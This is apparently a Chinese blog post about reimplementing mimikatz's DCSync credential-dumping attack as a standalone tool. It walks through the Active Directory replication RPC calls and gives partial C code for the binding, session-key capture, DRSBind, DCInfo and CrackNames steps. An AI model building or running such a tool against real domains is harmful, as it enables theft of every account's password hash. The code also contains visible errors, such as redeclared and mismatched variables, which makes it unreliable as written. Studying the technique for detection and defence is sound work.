2023/1/4
跟着@whoami走了个坑,想着把dcsync单独从mimikatz中摘出来。
什么是dcsync
DCSync 是一种攻击,它允许模拟域控制器 (DC) 的行为并通过域复制检索密码数据。
需要的acl
- DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
大致原理
目录复制服务 (DRS) 远程协议是一种RPC 协议,用于在Active Directory中复制和管理数据。
该协议由两个名为 drsuapi 和 dsaop 的 RPC 接口组成。每个 drsuapi 方法的名称以“IDL_DRS”开头,而每个 dsaop 方法的名称以“IDL_DSA”开头。
使用mimikatz执行dcsync攻击,如果使用etw之类的检测,会发现实际用的api有以下4个:
IDL_DRSBind 创建一个上下文句柄,这是调用本接口中任何其他方法所必需的。 IDL_DRSDomainControllerInfo 获取域guid IDL_DRSCrackNames 获取用户guid IDL_DRSGetNCChanges 复制数据
|
所以利用以上api,便可以实现dcsync功能,在下文,我将简单讲明api直接的调用以便有兴趣的读者自己编写。
0x01 rpc连接
首先IDL_DRSBind
需要一个rpc句柄,而rpc连接主要用到了以下3个api:
- RpcStringBindingComposeW
- RpcBindingFromStringBindingW
- RpcBindingSetAuthInfoW
具体读者可以参考微软官方文档
BOOL CreateRPC(LPCWSTR ObjUuid, LPCWSTR ProtSeq, LPCWSTR NetworkAddr, LPCWSTR Endpoint, LPCWSTR DomainName, LPCWSTR Duser, LPCWSTR Dpass, RPC_BINDING_HANDLE* hBinding, void (RPC_ENTRY* RpcSecurityCallback)(void*)) { RPC_STATUS rpcstatus; BOOL status = FALSE; unsigned char* StringBinding=NULL; handle_t *hBinding; LPWSTR ServerPrincName[MAX_PATH+1]; DWORD pcSpnLength = MAX_PATH; SEC_WINNT_AUTH_IDENTITY Authinfo; rpcstatus = RpcStringBindingCompose(NULL, (RPC_WSTR) ProtSeq, (RPC_WSTR) NetworkAddr, (RPC_WSTR) Endpoint, NULL, (RPC_CSTR*)&StringBinding); if(rpcstatus == RPC_S_OK) { rpcstatus = RpcBindingFromStringBinding(StringBinding, &hBinding); if(rpcstatus == RPC_S_OK) { spnstatus = DsMakeSpn(L"LDAP", NetworkAddr, NULL, 0, NULL, &pcSpnLength, ServerPrincName); if(spnstatus == ERROR_SUCCESS) { if(Duser && Dpass){ AuthId.User = Duser; AuthId.UserLength = strlen(Duser); AuthId.Domain = DomainName; AuthId.DomainLength = strlen(DomainName); AuthId.Password = Dpass; AuthId.PasswordLength = strlen(Dpass); AuthId.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE; rpcstatus=RpcBindingSetAuthInfoW(&hBinding,(RPC_WSTR)ServerPrincName, RPC_C_AUTHN_LEVEL_DEFAULT,RPC_C_AUTHN_DEFAULT, &Authinfo, RPC_C_AUTHZ_NAME); } else{ rpcstatus=RpcBindingSetAuthInfoW(&hBinding,(RPC_WSTR)ServerPrincName, RPC_C_AUTHN_LEVEL_DEFAULT,RPC_C_AUTHN_DEFAULT, NULL, RPC_C_AUTHZ_NAME); } if(rpcstatus == RPC_S_OK){ if(RpcSecurityCallback){ rpcstatus=RpcBindingSetOption(&hBinding,RPC_C_OPT_SECURITY_CALLBACK, (ULONG_PTR)RpcSecurityCallback); if(rpcstatus == RPC_S_OK){ status = TRUE; }else{ wprintf(L"[-] RpcBindingSetOption Error"); } status = TRUE; }else{ wprintf(L"[-] rpcBindingSetAuthInfoW Error"); } } status = TRUE; }else{ wprintf(L"[-] DsMakeSpn Error"); } status = TRUE; }else{ wprintf(L"[-] RpcBindingFromStringBinding Error"); } status = TRUE; }else{ wprintf(L"[-] RpcStringBindingCompose Error"); } if(!status){ rpcstatus = RpcBindingFree(*hBinding); if(rpcstatus == RPC_S_OK){ *hBinding = NULL; }else{ wprintf(L"RpcBindingFree Error"); } }
RpcStringFreeW(&StringBinding); return status; }
|
由于后文用到了session key,所以rpc连接成功后,我们需要利用安全回调函数从客户端获取:
SecPkgContext_SessionKey rpc_drsr_sKey = {0, NULL}; void RPC_ENTRY RpcSecurityCallback(void *Context) { RPC_STATUS rpcstatus; SECURITY_STATUS secstatus; PCtxtHandle data = NULL;
rpcStatus = I_RpcBindingInqSecurityContext(Context, (LPVOID *) &data); if(rpcstatus == RPC_S_OK) { if(rpc_drsr_sKey.SessionKey) { FreeContextBuffer(rpc_drsr_sKey.SessionKey); rpc_drsr_sKey.SessionKeyLength = 0; rpc_drsr_sKey.SessionKey = NULL; } secstatus = QueryContextAttributes(data, SECPKG_ATTR_SESSION_KEY, (LPVOID) &rpc_drsr_sKey); if(secstatus != SEC_E_OK){ PRINT_ERROR(L"QueryContextAttributes %08x\n", secstatus); } else PRINT_ERROR(L"I_RpcBindingInqSecurityContext %08x\n", rpcstatus); }
|
关于回调函数,笔者直接采用了mimikatz的源码,其中I_RpcBindingInqSecurityContext
用于获取安全上下文。
相关结构体以及变量解释可以参考官方文档,IDL_DRSBind主要是创建一个上下文句柄,这是调用本接口中任何其他方法所必需的。
其中_puuidClientDsa不能为空,设置任意值均可。_
BOOL D_IDL_DRSBind(RPC_BINDING_HANDLE rpc_handle,DRS_EXTENSIONS_INT* pextClient,DRS_HANDLE* phDrs){ BOOL status = FALSE; ULONG drsstatus; GUID DRSUAPI_DS_BIND_GUID_Standard = {0xe24d201a, 0x4fd6, 0x11d1, {0xa3, 0xda, 0x00, 0x00, 0xf8, 0x75, 0xae, 0x0d}}; DRS_EXTENSIONS_INT pextClient=NULL; RpcTryExcept { RtlZeroMemory(pextClientInt, sizeof(DRS_EXTENSIONS_INT)); pextClient->cb = sizeof(DRS_EXTENSIONS_INT) - 4; pextClient->dwFlags = DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_STRONG_ENCRYPTION | DRS_EXT_GETCHGREQ_V8; drsstatus = IDL_DRSBind(rpc_handle, &DRSUAPI_DS_BIND_GUID_Standard, (DRS_EXTENSIONS*)pextClientInt, (DRS_EXTENSIONS**)&pextClient, phDrs); if(drsstatus==0){ status = TRUE; } } RpcExcept(EXCEPTION_EXECUTE_HANDLER){ wprintf(L"RPCException"); } RpcEndExcept{ return status; } }
|
0x03 IDL_DRSDomainControllernfo
相关结构体以及变量解释可以参考官方文档,其主要是用于获取dc的guid,但实际测试发现该api其实可有可无。
BOOL D_IDL_DRSDomainControllerInfo(DRS_HANDLE hDrs,DWORD dwInVersion,DRS_MSG_DCINFOREQ* pmsgIn,DWORD* pdwOutVersion,DRS_MSG_DCINFOREPLY* pmsgOut,LPCWSTR Domain,GUID* DomainGUID){ DRS_HANDLE hDrs = NULL; BOOL DomainGUIDfound = FALSE, ObjectGUIDfound = FALSE; BOOL status = FALSE; ULONG drsstatus; DRS_MSG_DCINFOREQ pmsgIn = { 0 }; DWORD pdwOutVersion = 0; DRS_MSG_DCINFOREPLY pmsgOut = { 0 }; pmsgIn.V1.InfoLevel = 2; pmsgIn.V1.Domain = (LPWSTR) Domain; RpcTryExcept { drsstatus = IDL_DRSDomainControllerInfo(hrds, &dwInVersion, &pmsgIn,&pdwOutVersion, &dcInfoReply); if(drsstatus == 0){ for(i = 0; i < pmsgOut.V2.cItems; i++){ if(!DomainGUIDfound && ((_wcsicmp(ServerName, pmsgOut.V2.rItems[i].DnsHostName) == 0) || (_wcsicmp(Domain, pmsgOut.V2.rItems[i].NetbiosName) == 0))){ DomainGUIDfound = TRUE; *DomainGUID = pmsgOut.V2.rItems[i].NtdsDsaObjectGuid; status=TRUE; } }else{ wprintf(L"IDL_DRSDomainControllerInfo Error"); } RpcExcept(EXCEPTION_EXECUTE_HANDLER){ wprintf(L"RPCException"); } RpcEndExcept{ return status; } }
|
0x04 IDL_DRSCrackNames
相关结构体以及变量解释可以参考官方文档,其主要是用于获取用户的guid,比如DRS_MSG_CRACKREQ_V1及DRS_MSG_CRACKREPLY_V1
BOOL D_IDL_DRSCrackNames(DRS_HANDLE hDrs,DWORD dwInVersion,DRS_MSG_DCINFOREQ* pmsgIn,DWORD* pdwOutVersion,DRS_MSG_DCINFOREPLY* pmsgOut,LPCWSTR Username,GUID* duserguid){ DRS_HANDLE hDrs = NULL; DS_NAME_FORMAT rpsname; BOOL status = FALSE; ULONG drsstatus; DRS_MSG_CRACKREQ pmsgIn = { 0 }; DWORD pdwOutVersion = 1; DRS_MSG_CRACKREPLY pmsgOut = { 0 }; UNICODE_STRING userguid; RpcTryExcept { if (wcsstr(UserName, L"S-1-5-21-") == UserName){ rpsname=DS_SID_OR_SID_HISTORY_NAME; }else if (wcschr(UserName, L'\\')){ rpsname=DS_NT4_ACCOUNT_NAME; }else{ rpsname=DS_NT4_ACCOUNT_NAME_SANS_DOMAIN; } pmsgIn.V1.formatOffered=rpsname; pmsgIn.V1.formatDesired = DS_UNIQUE_ID_NAME; pmsgIn.V1.cNames = 1; pmsgIn.V1.rpNames = &UserName; drsstatus = IDL_DRSCrackNames(hDrs, 1, &pmsgIn, &pdwOutVersion, &pmsgOut); if (drsstatus == 0){ RtlInitUnicodeString(&userguid,pmsgOut.V1.pResult->rItems[0].pName); RtlGUIDFromString(&userguid, duserguid); status=TRUE; }else{ wprintf(L"IDL_DRSCrackNames error"); } } RpcExcept(EXCEPTION_EXECUTE_HANDLER){ wprintf(L"RPCException"); } RpcEndExcept{ return status; }
}
|
0x05 IDL_DRSGetNCChanges
其实这里主要是OID及attrtyp的转换,可以参考官方文档,笔者这里直接复用了mimikatz相关代码,大致流程如下:
首先DRS_MSG_GETCHGREQ结构体相关生成直接利用kull_m_rpc_drsr_MakeAttid
,然后域控制器返回的响应消息是一个DRS_MSG_GETCHGREPLY
结构体,这里使用的是DRS_MSG_GETCHGREPLY_V6
版本,根据结构体的描述,可以知道,相关信息在pObjects
属性中,这是一个REPLENTINFLIST
结构的表链,在mimikatz中kull_m_rpc_drsr_ProcessGetNCChangesReply
对这个链表进行了遍历,最后kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt(其实就是文档的反向解密)进行RC4解密。
然后继续调用kuhl_m_lsadump_dcsync_descrObject,调用kuhl_m_lsadump_dcsync_descrUser,针对哈希,微软在使用rId对unicodepwd等进行了加密,所以最终会调用kuhl_m_lsadump_dcsync_decrypt,再利用kull_m_string_wprintf_hex打印。
当然这个过程中利用 kull_m_rpc_drsr_findMonoAttr
、kull_m_rpc_drsr_findAttr
、kull_m_rpc_drsr_findAttrNoOID
等函数进行了数据结构相关转换读取,具体过程可以参考mimikatz源码,有点复杂…
实现效果:
后记
mimikatz的整体源码确实有点复杂,而且其中有的函数完全没有任何官方文档,需要逆向+猜解才能知道大致用法…钦佩作者